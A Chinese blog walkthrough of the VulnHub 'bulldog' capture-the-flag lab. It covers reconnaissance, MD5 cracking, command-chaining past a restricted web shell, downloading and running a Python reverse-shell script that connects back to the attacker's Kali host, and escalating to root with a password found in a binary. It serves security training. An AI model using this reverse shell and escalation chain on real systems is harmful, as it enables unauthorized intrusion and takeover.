【Vulnhub系列】bulldog

本文通过攻破斗牛犬靶机的过程,详细介绍了使用dirb进行目录挖掘、Linux命令组合技巧、Python搭建HTTP服务器及反弹shell脚本的运用,最终实现提权至root并读取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

===========================

个人收获:

1.dirb挖掘网页目录

2.Linux 可以用&同时执行多条命令

3.Kali利用Python搭建简单HTTP服务器

4.python写的shell反弹脚本

5.利用python pty模块的shell来进行交互

============================

下载地址:https://download.vulnhub.com/bulldog/bulldog.ova

靶机说明

斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)

这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!

难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)

目标

  • 提权到root权限并查看flag

运行环境

如果把靶机运行在VM下可能会出现一些问题,获取不了IP,需要自己在LINUX恢复模式下调试靶机比较麻烦。

这里我把     靶机运行在Vritual box   Kali运行在VM

 由于自身环境的原因不想弄乱自己的VM环境

我把靶机的网卡设置为Host-only   然后VM里面的桥接模式网卡设置为Vritual box的Host-only。

这样VM设置为桥接模式就能跟靶机在一个局域网下

下面是我靶机和Kali 的IP

Kali:192.168.56.102

bulldog:192.168.56.101

1.信息收集

主机探测

可以用    nmap -sS 192.168.43.0/24 进行

然后进行服务识别

nmap -A -p 80,23 192.168.56.101

发现ssh服务和web服务,并且web服务为python。

然后对web进行目录挖掘

发现 /admin  /dev

打开/admin尝试注入失败

查看/dev/shell发现webshell不能使用

我们查看/dev的源码出现线索

然后我们上MD5免费在线解密破解_MD5在线加密-SOMD5对这里面的MD5进行破解

这里我们选择sarah进行登陆

登陆进去后使用web-shell

这里给我们6个可用的命令,执行其他的命令会被拦截,这里我们用&进行命令组合绕过

然后我们在自己的Kali上用python搭建一个简单HTTP服务器,然靶机下载一个python写的shell反弹脚本

python -m SimpleHTTPServer 80

shell脚本源码:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.56.102",1234))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/bash","-i"])

然后把文件放到网站目录下(自己的家目录)

然后在web-shell执行以下命令

pwd&wget http://192.168.56.102/python-shell.py

然后我们在Kali上执行

nc -lvp 1234

然后在web-shell上执行反弹脚本

pwd&python python-shell.py

这个时候kali会得到一个shell

然后我们切换目录到 bulldogadmin   

这里如果觉得shell命令的显示模式比较难受 可以在xshell下面的cmd栏目里面输入

进入bulldogadmin的家目录后 输入 

ls -la  查看全部文件(包括隐藏文件)

发现一个.hiddenadmindirectory

然后我们cd 进入 查看有什么东西

利用string查看可执行文件中的字符

<gadmin/.hiddenadmindirectory$ strings customPermissionApp                   
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
  Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

从以上字符大概知道程序的用途

从里面分析出,这个大概是密码

注意每一段后面的H不是密码 需要去除

密码:SUPERultimatePASSWORDyouCANTget

然后执行python shell

sudo python -c 'import pty; pty.spawn("/bin/bash")' 

然后输入获得的密码,并切换到root的目录下,

最后 读取flag文件

### 关于VulnHub Bulldog2靶机无法扫描到IP的解决方案 在渗透测试过程中,如果遇到无法通过常规手段扫描到目标主机的情况,可以尝试多种技术组合来定位目标主机。以下是针对此问题的具体分析和建议: #### 使用ARP扫描工具 当标准的`ping`或`nmap`扫描未能发现目标主机时,可以通过局域网内的ARP广播请求找到活动设备。例如,在引用中提到的方法3使用了`netdiscover`命令[^3]: ```bash netdiscover -r 192.168.44.0/24 -i eth0 ``` 上述命令会向指定子网发送ARP请求并监听响应,从而识别出网络中的活跃主机。 #### 调整Nmap参数优化扫描效果 除了传统的ICMP Ping外,还可以利用TCP SYN包或其他协议类型的探测方式提高成功率。比如下面这条指令包含了服务版本检测(-sV),隐秘模式(SYN半开扫描-sS)以及调整时间模板至更快执行速度(T4)[^2]: ```bash nmap -sS -sV -T4 192.168.11.19 ``` 另外值得注意的是,有时防火墙可能阻止来自外部源地址的数据包进入内部网络;因此有必要确认Kali Linux所在环境与Bulldog2 VM之间确实处于同一物理或者逻辑二层交换结构下(即两者能够互相访问对方MAC层面的信息). #### 测试Telnet/TCP连接验证特定端口状态 即使整体Ping不通某个节点,但如果已知其开放的服务端口号,则可以直接发起相应层次上的握手过程来进行判断是否存在可交互对象。正如材料里所描述那样,“尝试远程连接23端口后失败。”这表明虽然telnet未成功建立session,但仍不失为一种排查思路之一[^1]. 综上所述,对于找不到vulnhub bulldog2 IP这一难题,可以从多个角度出发寻找突破口:一方面借助专门设计用于本地网段探索的应用程序如NetDiscover;另一方面灵活运用高级配置选项丰富的侦查利器-NMAP,并辅以其他辅助性操作进一步缩小范围直至最终锁定确切位置。 ```python import os def scan_network(): command = 'netdiscover -r 192.168.44.0/24 -i eth0' result = os.popen(command).read() print(result) scan_network() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值